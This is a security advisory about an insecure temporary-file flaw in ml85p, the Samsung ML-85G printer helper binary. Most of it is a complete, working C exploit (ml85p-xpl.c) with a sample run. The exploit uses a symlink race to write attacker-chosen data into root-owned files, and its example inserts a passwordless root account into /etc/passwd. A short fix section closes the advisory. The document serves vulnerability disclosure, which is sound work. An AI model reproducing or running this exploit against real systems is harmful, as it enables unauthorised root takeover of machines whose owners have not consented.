COMMAND

    ml85p

SYSTEMS AFFECTED

    ml85p Linux Helper Binary for Samsung ML-85G Printer

PROBLEM

    Following  is  based  on  Advisory  by Charles Stevenson and Kevin
    Finisterre.  The Samsung ML-85G GDI printer driver (helper binary)
    suffers from insecure  temporary file creation  practices.  It  is
    possible to create files as root which can lead to root access.

    This exploit should be  specific to the x86  architecture although
    rare cases may exist (the symlik attack is not plaform dependant).
    All systems  running ml85p  built from  tarball are  assumed to be
    vulnerable.   ml85p  is  also  distributed  by MandrakeSoft in the
    ghostscript RPM.   The permissions  are more  stringent and  would
    require sys  priveleges.   It was  tested on  ml85p built from the
    tarball on Debian system and Kevin tested on his Mandrake system.

    Exploit/Concept Code:

        [-(core@devastator:~/bleedingedge)> ./ml85p-xpl /etc/rc.owned
        owned::0:0:root:/root:/bin/bash
        ml85p-xpl.c by core (c) 2001
        > backing up /etc/rc.owned to /tmp/ez.n6ZT1m
        /bin/cp: cannot stat `/etc/rc.owned': No such file or directory
        /bin/touch: getting attributes of `/etc/rc.owned': No such file or
        directory
        > creating a lot of symlinks
        Running a few times since I'm lazy.
        Wrong file format.
        file position: f
        Wrong file format.
        file position: f
        Wrong file format.
        file position: f
        Wrong file format.
        file position: f
        Wrong file format.
        file position: f
        Wrong file format.
        file position: f
        Wrong file format.
        file position: f
        Wrong file format.
        file position: f
        Wrong file format.
        file position: f
        Wrong file format.
        file position: f
        -rw-rw-rw-    1 root     staff           0 Jul 10 13:14 /etc/rc.owned
        -rw-rw-rw-    1 root     staff          32 Jul 10 13:14 /etc/rc.owned
        owned::0:0:root:/root:/bin/bash
        > cleaning up
        Don't forget to `cp /tmp/ez.n6ZT1m /etc/rc.owned && touch -r
        /tmp/ez.n6ZT1m /etc/rc.owned`!
        All done. Enjoy!

    /* ml85p-xpl.c
     *
     * Quick hack to exploit ml85p
     *
     * Simply run it with the file you want to create/overwrite
     * and the data you wish to place in the file.
     *
     * Example:
     *
     * $ gcc -g -Wall ml85p-xpl.c -o ml85p-xpl
     * $ ./ml85p-xpl /etc/passwd owned::0:0:root:/root:/bin/bash
     *
     * Then login as owned... etc..
     *
     * by Charles Stevenson <core@ezlink.com>
     *
     * July 10 2001
     *
     * exploit discovered by KF <dotslash@snosoft.com>
     *
     * shoutz b10z and word to Kevin for the quick tag team :)
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    
    #include <time.h>
    
    #define TEMPFILE "/tmp/ez.XXXXXX"
    #define BRUTE 10
    
    void usage(char*);
    
    int main(int argc, char **argv){
       char tempfile[128] = TEMPFILE;
       int fd, i;
       time_t the_time;
       char temp[512];
    
       if (argc < 3){
          usage(argv[0]);
       }
    
       if((fd = mkstemp(tempfile))==-1){
          fprintf(stderr, "Error creating %s!\n",tempfile);
          exit(1);
       }
    
       /* begin lazy slacker coding */
       fprintf(stderr, "ml85p-xpl.c by core (c) 2001\n");
       fprintf(stderr, "> backing up %s to %s\n", argv[1], tempfile);
    
       /* backup old file */
       sprintf(temp, "/bin/cp %s %s", argv[1], tempfile);
       system(temp);
    
       /* set the date/time */
       sprintf(temp, "/bin/touch -r %s %s", argv[1], tempfile);
       system(temp);
    
       the_time = time(NULL);
    
       fprintf(stderr, "> creating a lot of symlinks\n");
    
       for (i=0;i<BRUTE;i++){
          sprintf(temp, "/tmp/ml85g%d", the_time+i);
          symlink(argv[1], temp);
       }
    
       sprintf(temp, \
         "echo \"b1nary 0utlawz\">file; umask 000 && ml85p -sf file\n", \
         argv[2]);
       fprintf(stderr, "Running a few times since I'm lazy.\n");
       for (i=0;i<BRUTE;i++){
          system(temp);
       }
    
       sprintf(temp, "/bin/ls -l %s", argv[1]);
       system(temp);
    
       sprintf(temp, "echo \"%s\" > %s", argv[2], argv[1]);
       system(temp);
    
       sprintf(temp, "/bin/ls -l %s", argv[1]);
       system(temp);
    
       sprintf(temp, "/bin/cat %s", argv[1]);
       system(temp);
    
       fprintf(stderr, "> cleaning up\n");
       sprintf(temp, "/bin/rm -f /tmp/ml85*");
       system(temp);
    
       fprintf(stderr, \
         "Don't forget to `cp %s %s && touch -r %s %s`!\n",tempfile,\
         argv[1], tempfile, argv[1]);
    
       fprintf(stderr, "All done. Enjoy!\n");
       return 0;
    }
    
    void usage(char *name){
    
       fprintf(stderr, "usage: %s <filename> <data>\n", name);
       exit(1);
    }

SOLUTION

    Recommended fix... use mkstemp() instead of the homegrown code:

        line 726:                       sprintf(gname,"/tmp/ml85g%d",time(0));

    Quick fix... chmod 0755 `which ml85p`